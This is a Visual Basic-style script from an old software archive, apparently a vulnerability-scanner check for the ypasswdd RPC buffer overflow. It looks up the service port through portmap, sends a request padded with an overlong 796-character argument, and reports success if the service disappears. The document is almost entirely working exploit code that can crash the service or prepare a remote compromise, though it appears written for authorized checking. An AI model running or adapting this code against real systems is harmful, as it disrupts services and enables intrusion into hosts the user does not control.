home *** CD-ROM | disk | FTP | other *** search
- 'check the ypasswdd buffer overflow
- 'vulnerability
-
- Function makeString(length As Integer, pattern As String) As String
- Dim tmpString As String
-
- Do While Len(tmpString) < length
- If Len(tmpString+pattern) <= length Then
- tmpstring= tmpString + pattern
- Else
- tmpstring = tmpString + Left(pattern, length - Len(tmpString))
- End If
- Loop
- makeString = tmpString
- End Function
-
- Function rpc_port(ip As Variant, program As Long, ipproto As String) As Integer
-
- Dim protocol As Integer
- Dim req1 As Variant
- Dim SocketObject As Object
- Dim response As Variant
-
- Dim v1 As Integer
- Dim v2 As Integer
- Dim v3 As Integer
- Dim v4 As Integer
-
- Dim prgv1 As Integer
- Dim prgv2 As Integer
- Dim prgv3 As Integer
- Dim prgv4 As Integer
-
- Dim prot1 As Integer
- Dim prot2 As Integer
- Dim prot3 As Integer
- Dim prot4 As Integer
-
- Dim rpcport As Integer
-
-
- port = "111"
- cr = Chr(13) + Chr(10)
-
-
- protocol = 0
- If StrComp(ipproto, "udp") = 0 Then
- protocol = 17
- End If
-
- If StrComp(ipproto, "tcp") = 0 Then
- protocol = 6
- End If
-
- If protocol = 0 Then
- rpcport = 0
- Exit Function
- End If
-
-
-
- v1 = Int(255*Rnd())
- v2 = Int(255*Rnd())
- v3 = Int(255*Rnd())
- v4 = Int(255*Rnd())
-
-
- prgv1 = Int(program / 16777216)
- prgv1 = prgv1 Mod 256
- prgv2 = Int(program / 65356)
- prgv2 = prgv2 Mod 256
- prgv3 = Int(program / 256)
- prgv3 = prgv3 Mod 256
- prgv4 = program Mod 256
-
- protv1 = Int(protocol / 16777216)
- protv1 = protv1 Mod 256
- protv2 = Int(protocol / 65535)
- protv2 = protv2 Mod 256
- protv3 = Int(protocol / 256)
- protv3 = protv3 Mod 256
- protv4 = protocol Mod 256
-
-
- req1 = Array(v1, v2, v3, v4, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H02, &H00, &H01, &H86, &HA0, &H00, &H00, &H00, &H02, &H00, &H00, &H00, &H03, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, prgv1, prgv2, prgv3, prgv4, &HFF, &HFF, &HFF, &HFF, protv1, protv2, protv3, protv4, &H00, &H00, &H00, &H00 )
-
-
- Set SocketObject = Socket.OpenUdp ()
- If Not SocketObject is Nothing Then
- SocketObject.SendTo ip,port,req1
- response=SocketObject.Recv(1024)
- If VarType(response) = 12 Then
- If UBound(response) >= 28 Then
- v1 = response(28)
- v2 = response(27)
- v3 = response(26)
- v4 = response(25)
- rpcport = ((v4 * 256 +v3) * 256 +v2) * 256 +v1
- rpc_port = rpcport
- Exit Function
- End If
- End If
- SocketObject.close
- End If
- rpc_port = 0
- End Function
-
- Function Main
-
-
- Dim objSocket As Object
- Dim i As Integer
- Dim bResult As Boolean
- Dim varRawdata1 As Variant
- Dim varRawdata2 As Variant
- Dim strSend As String
- Dim varResponse As Variant
-
- Dim cr As String
-
-
- cr = Chr(13) + Chr(10)
-
- ip = getparameter("ComputerIP")
- port = rpc_port(ip, 100009, "UDP")
- If port = 0 Then
- initResult = false
- Else
- initResult = true
- End If
-
- bResult = false
-
- Set objSocket = Socket.OpenUdp ()
- If Not objSocket is Nothing Then
- 'compose RPC request to be sent with a very long argument
- varRawdata1 = Array( &H56, &H6C, &H9F, &H6B, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H02, &H00, &H01, &H86, &HA9, &H00, &H00, &H00, &H01, &H00, &H00, &H00, &H01, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H03, &H20, &H80, &H1C, &H40, &H11)
-
- strSend = makeString(796,"x")
-
- varRawdata2 = Array( &H00, &H00, &H00, &H02, &H61, &H61, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H03, &H61, &H61, &H61, &H00, &H00, &H00, &H00, &H03, &H61, &H61,&H61, &H00, &H00, &H00, &H00, &H02, &H61, &H61, &H00, &H00)
-
- objSocket.SendTo ip,port,varRawdata1
- objSocket.SendTo ip,port,strSend
- objSocket.SendTo ip,port,varRawdata2
-
- 'if now we get no port from portmap then attack has succeeded
- port = rpc_port(ip, 100009, "UDP")
- If port = 0 Then
- bResult = true
- End If
-
-
-
- objSocket.Close
- End If
- If initresult = false Then
- main = false
- Else
- main = bResult
- End If
-
-
- End Function